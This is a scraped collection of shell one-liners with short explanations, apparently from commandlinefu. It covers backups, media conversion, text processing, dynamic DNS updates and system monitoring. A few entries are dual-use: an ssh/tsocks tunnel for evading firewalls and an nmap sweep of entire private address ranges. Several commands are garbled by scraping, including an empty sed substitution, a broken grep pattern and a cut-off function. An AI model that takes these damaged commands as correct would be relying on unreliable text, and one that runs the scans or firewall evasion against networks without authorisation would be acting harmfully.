$ echo $((($(date +%s)-$(date +%s -d "march 1"))/86400))
95
$ echo $((($(date +%s)-$(date +%s -d "sep 9 1986"))/86400))
8669
Functions: date echo
find out how many days since given date
You can also do this for seconds, minutes, hours, etc... Can't use dates before the epoch, though.
Reset terminal that has been buggered by binary input or similar
speaker-test -D plug:surround51 -c 6 -l 1 -t wav
speaker-test 1.0.21
Playback device is plug:surround51
Stream parameters are 48000Hz, S16_LE, 6 channels
WAV file(s)
Rate set to 48000Hz (requested 48000Hz)
Buffer size range from 64 to 16384
Period size range from 32 to 8192
Using max buffer size 16384
Periods = 4
was set period_size = 4096
was set buffer_size = 16384
0 - Front Left
4 - Center
1 - Front Right
3 - Rear Right
2 - Rear Left
5 - LFE
Time per period = 8.363521
Test speaker channels
Useful tool to test if all speaker channels are working properly. speaker-test is part of alsa-utils package
mpg123 "`locate -r '\.mp3$'|awk '{a[NR]=$0}END{print a['"$RANDOM"' % NR]}'`"
Functions: mpg123
Random play a mp3 file
Pick a mp3 at random and play it.
Assumes the availability of locate with an updated db and mpg123
Not the most useful command I guess, but all of the really useful ones are taken...
curl -sL xkcd.com | grep ']*/> ' | sed -r 's| |\1\t\2\t\3|' > /tmp/a; curl -s $(cat /tmp/a | cut -f1) | convert - -gravity south -draw "text 0,0 \"$(cat /tmp/a | cut -f2)\"" pdf:- > xkcd.pdf
Functions: cat cut grep sed
Save xkcd to a pdf with captions
Saves to a PDF with title and alt text of comic.
As asked for on http://bbs.archlinux.org/viewtopic.php?id=91100
Change xkcd.com to dynamic.xkcd.com/comics/random for a random comic.
ssh user@server | tee logfilename
Then 'cat logfilename' can be used to see the list of the commands including all of the stdout with lesser unreadable characters.
Functions: ssh tee
Record output of any command using 'tee' at backend; mainly can be used to capture the output of ssh from client side while connecting to a server.
Optionally, you can create a new function to do this with a custom command. Edit $HOME/.bashrc and add:
myssh () { ssh $1 | tee sshlog ; }
Save it.
At command prompt:
myssh user@server
dump 0f - / | bzip -c9 | ssh user@host "cat > /home/user/root.dump.bz2"
Functions: dump ssh
...can do similar w/ tar, dd, xfsdump, e2fsdump, etc.
php -r 'echo str_rot13 ("Hello World");'
a simple bash one-liner to create php file and call php function
TZ=UTC date -d @1320198157
convert UNIX timestamp to UTC timestamp
date -ud @1320198157
‹ First < 60 61 62 63 64 > Last ›
rec -c 2 -r 44100 -s -t wav - | oggenc -q 5 --raw --raw-chan=2 --raw-rate=44100 --raw-bits=16 - > MyLiveRecording.ogg
Record live sound in Vorbis (eg for bootlegs or to take audio notes)
This will record the capture channel of your soundcard, directly encoded in Ogg Vorbis, in stereo at quality 5 (I'm using this to record live jam sessions from my line input). You can choose which device to capture (eg. line input, microphone or PCM output) with
alsamixer -V capture
You can do the same thing and live encode in MP3 or FLAC if you wish, just check FLAC and LAME man pages.
rm !(file_to_keep_undeleted)
Takes all file except file between !()
Go to tmp :
cd /tmp; mkdir retmp; cd retmp
Create 10 files :
for i in {1..10}; do touch test$i; done
Remove all files except test10 :
rm !(test10)
dpkg -l 'linux-*' | sed '/^ii/!d;/'"$(uname -r | sed "s/\(.*\)-\([^0-9]\+\)/\1/")"'/d;s/^[^ ]* [^ ]* \([^ ]*\).*/\1/;/[0-9]/!d' | xargs sudo apt-get -y purge
Functions: sed sudo xargs
purge installed but unused linux headers, image, or modules
will purge:
only installed apps: /^ii/!d
avoiding current kernel stuff: /'"$(uname -r | sed "s/\(.*\)-\([^0-9]\+\)/\1/")"'/d
using app names: s/^[^ ]* [^ ]* \([^ ]*\).*/\1/
avoiding stuff without a version number: /[0-9]/!d
svn st | grep "^\?" | awk "{print \$2}" | xargs svn add $1
Functions: awk grep xargs
Add all unversioned files to svn
:%sort
Sort the current buffer in vi or vim.
vim 7 or higher has internal sort, too 'sort n' for numbers
apt-config dump
APT "";
APT::Architecture "amd64";
APT::Build-Essential "";
APT::Build-Essential:: "build-essential";
APT::Install-Recommends "true";
APT::Install-Suggests "0";
APT::NeverAutoRemove "";
APT::NeverAutoRemove:: "^firmware-linux.*";
Show Apt/Dpkg configuration
Shows all configurations to apt and dpkg, rarely changed, you probably still have the default configuration. Go ahead and explore your configuration if you dare, perhaps change your apt-cache directory, Dir::Cache "var/cache/apt/"; or the names of the log files.
lsof -p 1234 | grep -E "\.log$" | awk '{print $NF}'
List .log files open by a pid
Uses lsof to display the full path of ".log" files opened by a specified PID.
php -i
Testing php configuration
ip route | awk '/default/{print $3}'
Find default gateway
prints the parameter you used on the previous command
rsync -avz -e 'ssh -A sshproxy ssh' srcdir remhost:dest/path/
Remote copy directories and files through an SSH tunnel host
If you have lots of remote hosts sitting "behind" an ssh proxy host, then there is a special-case use of "rsynch" that allows one to easily copy directories and files across the ssh proxy host, without having to do two explicit copies: the '-e' option allows for a replacement "rsh" command. We use this option to specify an "ssh" tunnel command, with the '-A' option that causes authentication agent requests to be forwarded back to the local host. If you have ssh set up correctly, the above command can be done without any passwords being entered.
date -R -d @1234567890
Sat, 14 Feb 2009 05:31:30 +0600
Unix time to local time
Today
uuencode archive.tar.gz archive.tar.gz | mail -s "Emailing: archive.tar.gz" user@example.com
Functions: mail uuencode
Send a binary file as an attachment to an email
The uuencode utility will encode your file so that it can be sent as an attachment to an email. It is part of the sharutils package in RHEL/CentOS/Fedora.
Esc-/ Esc-/
List files
Shortcut to list files in the current path.
wget -U "QuickTime/7.6.2 (qtver=7.6.2;os=Windows NT 5.1Service Pack 3)" `echo http://movies.apple.com/movies/someHDmovie_720p.mov | sed 's/\([0-9][0-9]\)0p/h\10p/'`
Copy the link to an HD movie trailer in to this command. It's more eleganant if it's put in a to a script, taking the URL as input.
tsocks
Socksify any program to avoid restrictive firwalls
Require:
- tsocks (deb pkg)
- A working SOCKS proxy. It's easy with ssh:
$ ssh -N -D localhost:1080 your.home.pc -p 443
- tsocks configuration in your /etc/tsocks.conf (for the previous):
server = 127.0.0.1
server_port = 1080
sed -n '3,6p' /path/to/file
$ seq 10 | sed -n '3,6p'
4
6
Print all lines between two line numbers
This command uses sed(1) to print all lines between two known line numbers in a file. Useful for seeing output in a log file, where the line numbers are known. The above command will print all lines between, and including, lines 3 and 6.
vim $( ls -t | head -n1 )
Functions: head ls vim
Edit the Last Changed File
find . -depth -name .svn -type d -exec rm -fr {} \;
Functions: find rm
Remove all .svn folders
-depth argument will cause find to do a "depth first" tree search, this will eliminate the "No such file or directory" error messages
ls -drt /var/log/* | tail -n5 | xargs sudo tail -n0 -f
==> /var/log/cron <==
==> /var/log/messages <==
==> /var/log/lastlog <==
==> /var/log/wtmp <==
==> /var/log/secure <==
�1pts/4ts/4myusermyhost.example.com�fJ��?
Jul 21 18:36:19 thost sshd[12730]: Accepted password for myuser from 192.168.100.7 port 50066 ssh2
Jul 21 18:36:19 thost sshd[12730]: pam_unix(sshd:session): session opened for user myuser by (uid=0)
Functions: ls sudo tail xargs
This command finds the 5 (-n5) most frequently updated logs in /var/log, and then does a multifile tail follow of those log files.
Alternately, you can do this to follow a specific list of log files:
sudo tail -n0 -f /var/log/{messages,secure,cron,cups/error_log}
watch "ps auxw | grep [d]efunct"
Get a regular updated list of zombies
to omit "grep -v", put some brackets around a single character
dd if=/dev/zero bs=4096 count=1048576 | ssh user@host.tld 'cat > /dev/null'
user@host.tld's password:
1048576+0 records in
4294967296 bytes (4.3 GB) copied, 171.841 seconds, 25.0 MB/s
Test network speed without wasting disk
The above command will send 4GB of data from one host to the next over the network, without consuming any unnecessary disk on either the client nor the host. This is a quick and dirty way to benchmark network speed without wasting any time or disk space.
Of course, change the byte size and count as necessary.
This command also doesn't rely on any extra 3rd party utilities, as dd, ssh, cat, /dev/zero and /dev/null are installed on all major Unix-like operating systems.
ssh -C USER@HOST tar -c --exclude /proc --exclude /sys / | tar -x
Backup entire system through SSH
grep -lr -e '' * | xargs sed -i 's///g'
Functions: grep sed xargs
Search and Replace across multiple files
- grep for the word in a files, use recursion (to find files in sub directories), and list only file matches
-| xargs passes the results from the grep command to sed
-sed -i uses a regular expression (regex) to evaluate the change: s (search) / search word / target word / g (global replace)
function miso () { mkdir ~/ISO_CD && sudo mount -o loop "$@" ~/ISO_CD && cd ~/ISO_CD && ls; } function uiso () { cd ~ && sudo umount ~/ISO_CD && rm -r ~/ISO_CD; }
Functions: cd mkdir mount rm sudo umount
Mount and umount iso files
Add the functions to the .bashrc to make it work
Example: First go to the iso file directory and type:
----------------------------------------------------------------------------------------------------
user@box:~$ miso file.iso
It will put you into a temporary mounting point directory (ISO_CD) and will show the files
You can umount the iso file whatever the directory you are
user@box:~/ISO_CD$ uiso
It wil umount the iso file and remove the temporary directory in your home
‹ First < 61 62 63 64 65 > Last ›
mplayer tv:// -tv driver=v4l2:width=640:height=480:device=/dev/video0:fps=30:outfmt=yuy2
View webcam output using mplayer
View webcam output using mplayer, with correct fps and outfmt settings according to my webcam model.
sed 's/\(..\)/\1:/g;s/:$//' mac_address_list
more mac_address_list && sed 's/\(..\)/\1:/g;s/:$//' mac_address_list
000000abde00
00:00:00:ab:de:00
Insert a colon between every two digits
I sometimes have large files of MAC addresses stored in a file, some databases need the information stored with the semicolon (makes for easier programming a device) others don't. I have a barcode to text file scanner which usually butchers MAC addresses so this was the fix> I initially did this in awk ;)
awk '{for(i=10;i>=2;i-=2)$0=substr($0,1,i)":"substr($0,i+1);print}' mac_address_list
detectlanguage(){ curl -s "http://ajax.googleapis.com/ajax/services/language/detect?v=1.0&q=$@" | sed 's/{"responseData": {"language":"\([^"]*\)".*/\1\n/'; }
detectlanguage
detectlanguage hola
alias tarred='( ( D=`builtin pwd`; F=$(date +$HOME/`sed "s,[/ ],#,g" <<< ${D/${HOME}/}`#-%F.tgz); tar --ignore-failed-read --transform "s,^${D%/*},`date +${D%/*}.%F`,S" -czPf "$F" "$D" &>/dev/null ) & )'
THERE IS NO OUTPUT, RUNS IN BG, SO THIS IS VERBOSE TRACING OUTPUT '$ set -xv'
[22:901 1:10] [tombs@www.askapache.com:pts/17 +2] /opt/askapache/SOURCE/lockfile-progs-0.1.11
$ tarred
++ builtin pwd
+ D=/opt/askapache/SOURCE/lockfile-progs-0.1.11
+++ sed 's,[/ ],#,g'
++ date +/askapache-bk/#opt#askapache#SOURCE#lockfile-progs-0.1.11#-%F.tgz
+ F=/askapache-bk/#opt#askapache#SOURCE#lockfile-progs-0.1.11#-2010-11-18.tgz
+ S=2574
++ date +/opt/askapache/SOURCE.%F
+ tar --ignore-failed-read --transform 's,^/opt/askapache/SOURCE,/opt/askapache/SOURCE.2010-11-18,S' -czPf '$F' /opt/askapache/SOURCE/lockfile-progs-0.1.11
+ logger -s 'Tarred /opt/askapache/SOURCE/lockfile-progs-0.1.11 to /askapache-bk/#opt#askapache#SOURCE#lockfile-progs-0.1.11#-2010-11-18.tgz in 4 seconds'
logger: Tarred /opt/askapache/SOURCE/lockfile-progs-0.1.11 to /askapache-bk/#opt#askapache#SOURCE#lockfile-progs-0.1.11#-2010-11-18.tgz in 4 seconds
Functions: alias date tar
Create date-based tgz of current dir, runs in the background, very very cool
This is freaking sweet!!! Here is the full alias, (I didn't want to cause display problems on commandlinefu.com's homepage):
alias tarred='( ( D=`builtin pwd`; F=$(date +$HOME/`sed "s,[/ ],#,g" <<< ${D/${HOME}/}`#-%F.tgz); S=$SECONDS; tar --ignore-failed-read --transform "s,^${D%/*},`date +${D%/*}.%F`,S" -czPf "$"F "$D" && logger -s "Tarred $D to $F in $(($SECONDS-$S)) seconds" ) & )'
Creates a .tgz archive of whatever directory it is run from, in the background, detached from current shell so if you logout it will still complete. Also, you can run this as many times as you want, if the archive .tgz already exists, it just moves it to a numbered backup '--backup=numbered'. The coolest part of this is the transformation performed by tar and sed so that the archive file names are automatically created, and when you extract the archive file it is completely safe thanks to the transform command.
If you archive lets say /home/tombdigger/new-stuff-to-backup/ it will create the archive /home/#home#tombdigger#new-stuff-to-backup#-2010-11-18.tgz Then when you extract it, like tar -xvzf #home#tombdigger#new-stuff-to-backup#-2010-11-18.tgz instead of overwriting an existing /home/tombdigger/new-stuff-to-backup/ directory, it will extract to /home/tombdigger/new-stuff-to-backup.2010-11-18/
Basically, the tar archive filename is the PWD with all '/' replaced with '#', and the date is appended to the name so that multiple archives are easily managed. This example saves all archives to your $HOME/archive-name.tgz, but I have a $BKDIR variable with my backup location for each shell user, so I just replaced HOME with BKDIR in the alias.
So when I ran this in /opt/askapache/SOURCE/lockfile-progs-0.1.11/ the archive was created at /askapache-bk/#opt#askapache#SOURCE#lockfile-progs-0.1.11#-2010-11-18.tgz
Here's how my syslog server recorded this..
Caveats
Really this is very robust and foolproof, the only issues I ever have with it (I've been using this for years on my web servers) is if you run it in a directory and then a file changes in that directory, you get a warning message and your archive might have a problem for the changed file. This happens when running this in a logs directory, a temp dir, etc.. That's the only issue I've ever had, really nothing more than a heads up.
Advanced:
This is a simple alias, and very useful as it works on basically every linux box with semi-current tar and GNU coreutils, bash, and sed.. But if you want to customize it or pass parameters (like a dir to backup instead of pwd), check out this function I use.. this is what I created the alias from BTW, replacing my aa_status function with logger, and adding $SECONDS runtime instead of using tar's --totals
function tarred ()
{
local GZIP='--fast' PWD=${1:-`pwd`} F=$(date +${BKDIR}/%m-%d-%g-%H%M-`sed -u 's/[\/\ ]/#/g'
[[ ! -r "$PWD" ]] && echo "Bad permissions for $PWD" 1>&2 && return 2;
( ( tar --totals --ignore-failed-read --transform "s@^${PWD%/*}@`date +${PWD%/*}.%m-%d-%g`@S" -czPf $F $PWD && aa_status "Completed Tarp of $PWD to $F" ) & )
#From my .bash_profile http://www.askapache.com/linux-unix/bash_profile-functions-advanced-shell.html
sed -i 'your sed stuff here' file
Simplification of "sed 'your sed stuff here' file > file2 && mv file2 file"
aptitude purge '~c'
also search with aptitude search '~c'
command !$
New command with the last argument of the previous command.
boxes -d dog or cowsay -f tux $M
__ _,--="=--,_ __
.---{ }--| /,.-'-.,\ |--{ }---.
) (_)_)_) \_/`~-===-~`\_/ (_(_(_) (
( )
) (
( CommandLinueFu )
'---------------------------------------'
_______________
< Hello Master >
---------------
\
\
/'\_ _/`\
\___)=(___/
need ascii art pictures for you readme text ?
Require boxes and / or cowsay packages.
After input boxes -d dog , type your text and then press ctrl + d . Same goes for cowsay .
wget -q --user= --password= 'https://updates.opendns.com/nic/update?hostname=your_opendns_hostname&myip=your_ip' -O -
alanceil@kvirasim:19:55:0:~> wget -q --user=topsecret --password=topsecret 'https://updates.opendns.com/nic/update?hostname=myhostname&myip=12.34.56.78' -O -
good 12.34.56.78
Intended for dynamic ip OpenDNS users, this command will update your OpenDNS network IP.
For getting your IP, you can use one of the many one-liners here on commandlinefu.
I use this in a script which is run by kppp after it has successfully connected to my ISP:
IP="`curl -s http://checkip.dyndns.org/ | grep -o '[[:digit:].]\+'`"
PW="hex-obfuscated-pw-here"
if [ "$IP" == "" ] ; then echo 'Not online.' ; exit 1
wget -q --user=topsecret --password="`echo $PW | xxd -ps -r`" 'https://updates.opendns.com/nic/update?hostname=myhostname&myip='"$IP" -O -
/etc/init.d/ntp-client restart &
PS: DynDNS should use a similar method, if you know the URL, please post a comment. (Something with members.dyndns.org, if I recall correctly)
rm -rf !(@(file1|file2|...))
Remove all files except list
mplayer -af scaletempo=scale=1.5 foo.mp3
To play a file at 1.5 times normal speed without increasing the pitch
for f in *;do flac -cd $f |lame -b 192 - $f.mp3;done
convert all flac files in a folder to mp3 files with a bitrate of 192 kbps
tune2fs -O extents,uninit_bg,dir_index /dev/yourpartition
Migrate existing Ext3 filesystems to Ext4
Before doing this, back-up all data on any ext3 partitions that are to be converted to ext4.
After running previous command you MUST run fsck, is needed to return the filesystem to a consistent state.
fsck -pDf /dev/yourpartition
Edit /etc/fstab and change the 'type' from ext3 to ext4 for any partitions that are converted to ext4.
cat VIDEO_TS/VTS_01_[1234].VOB | nice ffmpeg -i - -s 512x384 -vcodec libtheora -acodec libvorbis ~/Videos/dvd_rip.ogg
Functions: cat nice
To rip DVD movie to ogg format using ffmpeg, follow these steps.
1) find the vob files on the mounted video DVD in VIDEO_TS that stores the movie itself. There would be a few other VOB files that stores splash screen or special features, the vob files for the movie itself can be identified by its superior size. You can verify these vob files by playing them directly with a player (e.g. mplayer)
2) concatenate all such vob files, pipe to ffmpeg
3) calculate the video size and crop size. The ogg video size must be multiple of 16 on both width and height, this is inherit limitation of theora codec. In my case I took 512x384.
The -vcodec parameter is necessary because ffmpeg doesn't support theora by itself. -acodec is necessary otherwise ffmpeg uses flac by default.
for M in 0 1 2 3 ; do echo eth$M ;/sbin/ethtool eth$M | grep -E "Link|Speed" ; done
eth0
eth1
eth2
eth3
eth-tool summary of eth# devices
Give the Speed and Link status of eth# 0-3. This is sort of what mii-tool does, but eth-tool is better, yet lacks device discovery.
find . -type f -exec sed -i s/oldstring/newstring/g {} +
This command find all files in the current dir and subdirs, and replace all occurances of "oldstring" in every file with "newstring".
scrot -ucd4 -e 'eog $f'
Taking shot in 4.. 3.. 2.. 1.. 0.
[image opens]
Take a screenshot of the focused window with a 4 second countdown
# shorten by adding to your .bashrc: alias sss='scrot -ucd4 && eog $(ls -tr | tail -n1)'
echo -e "\nalias sss='scrot -ucd4 && eog $(ls -tr | tail -n1)'" >> ~/.bashrc
-d 4 second delay
-c display countdown
-u focused window
man scrot for more flags
curl -v -k -u user:password "https://members.dyndns.org/nic/update?hostname=&myip=$(curl -s http://checkip.dyndns.org | sed 's/[a-zA-Z<>/ :]//g')&wildcard=NOCHG&mx=NOCHG&backmx=NOCHG"
This is great if you are behind a router that does not support dynamic dns updates!
Example: AT&T u-verse gateway...
Put this in a script and run it as a cron job.
dpkg --get-selections | cut -f1 | while read pkg; do dpkg -L $pkg | xargs -I'{}' bash -c 'if [ ! -d "{}" ]; then echo "{}"; fi' | tr '\n' '\000' | du -c --files0-from - | tail -1 | sed "s/total/$pkg/"; done
176 acl
44 acpi
396 acpi-support
32 acpi-support-base
108 acpid
524 adduser
408 akonadi-server
2416 akregator
388 alsa-base
1840 alsa-utils
1860 amor
96 anacron
120 apmd
4512 apt
104 apt-file
376 apt-utils
140 apt-xapian-index
9184 aptitude
112 at
104 avahi-autoipd
252 avahi-daemon
260 base-files
100 base-passwd
du: cannot access `diverted by dash to: /usr/share/man/man1/sh.distrib.1.gz': No such file or directory
du: cannot access `diverted by dash to: /bin/sh.distrib': No such file or directory
Functions: bash cut du echo read sed tail tr xargs
Calculates the size on disk for each package installed on the filesystem (or removed but not purged). This is missing the
| sort -rn
which would put the biggest packges on top. That was purposely left out as the command is slightly on the slow side
Also you may need to run this as root as some files can only be checked by du if you can read them ;)
cat 1.tar.gz 2.tar.gz > 3.tar.gz; tar zxvfi 3.tar.gz
hendry@x61 tartest$ tar cvfz 1.tar.gz 1/
1/
1/1
hendry@x61 tartest$ tar cvfz 2.tar.gz 2/
2/
2/2
hendry@x61 tartest$ ls -l
total 16
drwxrwxr-x 2 hendry hendry 4096 May 5 15:21 1
-rw-rw-r-- 1 hendry hendry 134 May 5 15:21 1.tar.gz
drwxrwxr-x 2 hendry hendry 4096 May 5 15:21 2
-rw-rw-r-- 1 hendry hendry 137 May 5 15:22 2.tar.gz
hendry@x61 tartest$ rm -rf 1 2
total 8
-rw-rw-r-- 1 hendry hendry 134 May 5 15:21 1.tar.gz
-rw-rw-r-- 1 hendry hendry 137 May 5 15:22 2.tar.gz
hendry@x61 tartest$ cat 1.tar.gz 2.tar.gz > 3.tar.gz
hendry@x61 tartest$ tar zxvfi 3.tar.gz
Functions: cat tar
Merge tarballs
Requires the GNU tar ignore zeros option. http://www.gnu.org/software/tar/manual/html_section/Blocking.html
dd if=/dev/zero of=foo.txt bs=1M count=1
find . -exec `alias foo | cut -d"'" -f2` {} \;
Functions: cut find
Trick find -exec option to execute alias
An alias cannot be executed as command in a find -exec line. This form will trick the command line and let you do the job.
cat /dev/zero | pv | ssh 192.168.1.2 "cat > /dev/null"
Checks throughput between two nodes
This will show the throughput between two nodes.
Thanks to szboardstretcher, who posted it here: http://www.linuxquestions.org/questions/linux-networking-3/quick-and-easy-way-to-measure-throughput-between-two-nodes-868998/
apt-file search iostat
Find the package a command belongs to on debian-based distros
du -hs * | grep '^[0-9,]*[MG]' | sort -rn
170M Richard Stevens TCP-IP Illustrated Vol 2.pdf
153M Richard_Stevens_UNIX_Network_Programming_Sec_Ed_Vol_1.pdf
126M Rederik_Smith_Full_Docs_FreeBSD_rus.pdf
117M WhiteParus.Unix.Rukovodstvo_Sysadmina.pdf
115M Richard_Stevens_Advanced_Programming_in_the_UNIX_Environment.pdf
89M Richard Stevens Tcp-Ip Illustrated Vol 1.pdf
80M Richard_Stevens_UNIX_Network_Programming_Sec_Ed_Vol_2.pdf
73M IEEE
22M tannenbaum
Functions: du grep sort
Show sorted list of files with sizes more than 1MB in the current dir
Taken from here: http://linsovet.com/directory-usage-size-sorted-list
‹ First < 62 63 64 65 66 > Last ›
quota -q $(cat /etc/passwd|cut -d ':' -f 1)
Disk quotas for user ****** (uid 1021):
Disk quotas for user ****** (uid 1037):
Functions: cat cut quota
Report all quota usage
Check disk quota for all user
gs -q -sPAPERSIZE=a4 -dNOPAUSE -dBATCH -sDEVICE=pdfwrite -sOutputFile=out.pdf a.pdf b.pdf c.pdf
Merge several pdf files into a single file
merge a.pdf b.pdf and c.pdf and create ./out.pdf
ping -q -c1 -w3 brandx.jp.sme 2&>1 /dev/null || echo brandx.jp.sme ping failed | mail -ne -s'Server unavailable' joker@jp.co.uk
An email saying "brandx.jp.sme ping failed"
Functions: echo mail ping
Check a server is up. If it isn't mail me.
Joker wants an email if the Brand X server is down. Set a cron job for every 5 mins with this line and he gets an email when/if a ping takes longer than 3 seconds.
nmap -v -sP 192.168.0.0/16 10.0.0.0/8
Starting Nmap 5.21 ( http://nmap.org ) at 2010-07-01 XX:XX EDT
Initiating Ping Scan at XX:XX
Scanning 4096 hosts [2 ports/host]
Completed Ping Scan at XX:XX, 1.50s elapsed (31 total hosts)
Initiating Parallel DNS resolution of 4096 hosts. at XX:XX
Completed Parallel DNS resolution of 4096 hosts. at XX:XX, 0.00s elapsed
Nmap scan report for 10.0.0.1 [host down]
[... snip ...]
Nmap scan report for host1.localdomain (10.0.0.21)
Host is up (0.00031s latency).
Nmap scan report for host2.localdomain (10.0.0.22)
Host is up (0.00041s latency).
Nmap scan report for 10.0.0.23
Host is up (0.00039s latency).
Nmap scan report for host3.localdomain (10.0.0.24)
Host is up (0.00037s latency).
Nmap scan report for 10.0.0.25 [host down]
Nmap scan report for 10.0.0.26 [host down]
Nmap scan report for 10.0.0.27 [host down]
Nmap scan report for host4.localdomain (10.0.0.28)
Host is up (0.0047s latency).
Nmap scan report for 10.0.0.29 [host down]
Nmap scan report for 10.0.0.30 [host down]
Nmap scan report for 10.0.0.31
Host is up (0.0033s latency).
Nmap scan report for 10.0.0.32
Host is up (0.0031s latency).
Nmap scan report for 10.0.0.33 [host down]
Nmap scan report for 10.0.0.34 [host down]
Nmap scan report for 10.0.0.48 [host down]
Nmap scan report for 10.0.0.49 [host down]
Nmap scan report for 10.255.255.255 [host down]
Nmap done: 4096 IP addresses (7 hosts up) scanned in XXX seconds
nmap for windows and other platforms is available on developer's site: http://nmap.org/download.html
nmap is robust tool with many options and has various output modes - is the best (imho) tool out there..
from nmap 5.21 man page:
-oN/-oX/-oS/-oG : Output scan in normal, XML, s|
mii-tool [if]
Check the status of a network interface
find . -not \( -name .svn -prune \)
Skip over .svn directories when using the "find" command.
The "find" command can be annoying when used inside of a Subversion (or CVS) working directory. Obviously, you can combine this with other predicates and commands to create a more elaborate pipeline:
find /var/svn -type f -not \( -name .svn -prune \) -print0 | xargs -0 md5sum
Note: You can use my "dont-go-there.sh" script to wrap the "find" command and do this automatically at http://forwardlateral.com/blog/2006/02/27/dont-go-there/
vlock
This TTY is now locked.
Please press [ENTER] to unlock.
Virtual Console lock program
vlock command locks the current console by default. Also you can lock all the consoles on the server by using -a parameter. For details, pl man vlock.
ps: Generally speaking , system will not install vlock programme . So you should use ' $ sudo apt-get install vlock ' to install vlock .
find . -type f -iname '*.flac' | while read FILE; do FILENAME="${FILE%.*}"; flac -cd "$FILE" | lame -b 192 - "${FILENAME}.mp3"; done
#For each audio file, it prints
audio.flac: done
LAME 3.98.2 64bits (http://www.mp3dev.org/)
Using polyphase lowpass filter, transition band: 18671 Hz - 19205 Hz
Encoding
Encoding as 44.1 kHz j-stereo MPEG-1 Layer III (7.3x) 192 kbps qval=3
flac 1.2.1, Copyright (C) 2000,2001,2002,2003,2004,2005,2006,2007 Josh Coalson
flac comes with ABSOLUTELY NO WARRANTY. This is free software, and you are
welcome to redistribute it under certain conditions. Type `flac' for details.
Functions: find read
Convert all .flac from a folder subtree in 192Kb mp3
find . -type f -iname '*.flac' # searches from the current folder recursively for .flac audio files
| # the output (a .flac audio files with relative path from ./ ) is piped to
while read FILE; do FILENAME="${FILE%.*}"; flac -cd "$FILE" | lame -b 192 - "${FILENAME}.mp3"; done
# for each line on the list:
# FILE gets the file with .flac extension and relative path
# FILENAME gets FILE without the .flac extension
# run flac for that FILE with output piped to lame conversion to mp3 using 192Kb bitrate
echo -n 'targets = $(subst .png,.jpg,$(wildcard *.png))\n$(targets):\n convert $(subst .jpg,.png,$@) $@ \nall : $(targets)' | make -j 4 -f - all
Functions: echo make
'hpc' in the shell - starts a maximum of n compute commands modulo n controlled in parallel, using make
this oneliner uses make and it's jobserver for parallel execution of your script. The '-j' flag for make defines number of subprocesses to launch, '-f' tells make use stdin instead of Makefile. Also make have neat flag '-l', which "Specifies that no new jobs (commands) should be started if there are others jobs running and the load is at least load (a floating-point number)."
Also you can use plain Makefile, for better readability:
targets = $(subst .png,.jpg,$(wildcard *.png))
(targets):
echo convert $(subst .jpg,.png,$@) $@
all : $(targets)
tail -f file | while read line; do echo -n $(date -u -Ins); echo -e "\t$line"; done
Functions: date echo file read tail
This is useful when watching a log file that does not contain timestamps itself.
If the file already has content when starting the command, the first lines will have the "wrong" timestamp when the command was started and not when the lines were originally written.
find . -type f | awk -F'.' '{print $NF}' | sort| uniq -c | sort -g
cp@lilith:~ > find Downloads/ -type f | awk -F'.' '{print $NF}' |sort|uniq -c|sort -g |tail
Functions: awk find sort uniq
list all file extensions in a directory
... plus do a sort according frequency
cut -d: -f1 /etc/passwd | sort
Lists all usernames in alphabetical order
wget -O - -q icanhazip.com
150.162.64.156
I dont have curl or links installed, so I use wget with write file as standard out.
shutdown -h +240
shutdown pc in a 4 hours
you may as well use shutdown -h 18:32 to shutdown your machine at 18:32.
rm ./-filename
$ touch ./-filename
$ rm "-filename"
rm: invalid option -- l
$ rm ./-filename
Remove a file whose name begins with a dash ( - ) character
Using the redundant ./ directory information prevents the dash from occurring at the beginning of the filename, and being interpreted as an option of the rm command.
Also works using:
rm -- -filename
tar -cf ~/out.tar --no-recursion --files-from <(find . -type d)
Functions: find tar
Create a tar of directory structure only
TZ=Indian/Maldives date
Want to known what time is it in another part of the world ?
available timezone can be found in /usr/share/zoneinfo. Other examples:
TZ=Europe/Paris date; TZ=Australia/Sydney date; TZ=America/New_York date
this is based on zoneinfo files on macosx. Your mileage my vary on other unix dialects
g~w
Change the case of a single word in vim
In edit mode, toggle the case of a single word under the cursor in vim.
export PS1="\[\017\033[m\033[?9l\033[?1000l\]$PS1"
Clean up display when the bash prompt is displayed
This will cause bash to fix a garbled terminal before the prompt is printed. For example, if you cat a file with nonprintable character sequences, the terminal sometimes ends up in a mode where it only prints line drawing characters. This sequence will return the terminal to the standard character set after every command.
links -dump "http://spaceflight.nasa.gov/realdata/sightings/cities/view.cgi?country=United_States®ion=Wisconsin&city=Portage" | sed -n '/--/,/--/p'
--------------------------------------------------------------------------
SATELLITE LOCAL DURATION MAX ELEV APPROACH DEPARTURE
Get International Space Station sighting information for your city
This command outputs a table of sighting opportunities for the International Space Station. Find the URL for your city here: http://spaceflight.nasa.gov/realdata/sightings/
cd ~/.purple/logs/; egrep -ri "i can haz|pwn|l33t|w00|zomg" * | cut -d'/' -f 3 | sort | uniq | xargs -I {} echo "Note to self: ban user '{}'"
Note to self, ban user 'aoluser'
Note to self, ban user 'msnuser'
Functions: cd cut echo egrep sort uniq xargs
Find and list users who talk like "lolcats"
Greps IRC logs for phrases and lists users who said them.
dig foo.org mx +short
Get MX records for a domain
( last ; ls -t /var/log/wtmp-2* | while read line ; do ( rm /tmp/wtmp-junk ; zcat $line 2>/dev/null || bzcat $line ) > /tmp/junk-wtmp ; last -f /tmp/junk-wtmp ; done ) | less
Functions: last ls read rm zcat
See a full last history by expanding logrotated wtmp files
When your wtmp files are being logrotated, here's an easy way to unpack them all on the fly to see more than a week in the past. The rm is the primitive way to prevent symlink prediction attack.
resize
hendry@i7 ~$ resize
COLUMNS=208;
LINES=73;
export COLUMNS LINES;
Get size of terminal
See the cols and lines and make sure the console it correctly configured for the screen size.
mount -t proc{,,}
Mount proc
Run this in / in a chroot to get your own proc there.
‹ First < 63 64 65 66 67 > Last ›
gcal -K -q GB_EN 2009 # display holidays in UK/England for 2009 (with week numbers)
2009
Su Mo Tu We Th Fr Sa CW Su Mo Tu We Th Fr Sa CW Su Mo Tu We Th Fr Sa CW
4 5 6 7 8 9 10 01 8 9 10 11 12 13 14 06 8 9 10 11 12 13 14 10
5 6 7 8 9 10 11 14 3 4 5 6 7 8 9 18 7 8 9 10 11 12 13 23
[truncated for brevity]
NB when you run this gcal command in your shell, holidays are highlighted
but this highlighting does not show in the sample output (above).
To find full details on gcal options: gcal --long-help | less
Example for United States, Pennsylvania:
gcal -K -q US_PA 2009 # display holidays in USA/Pennsylvania for 2009 (with week numbers)
Example for Hong Kong:
gcal -K -q HK 2009 # display holidays in Hong Kong for 2009 (with week numbers)
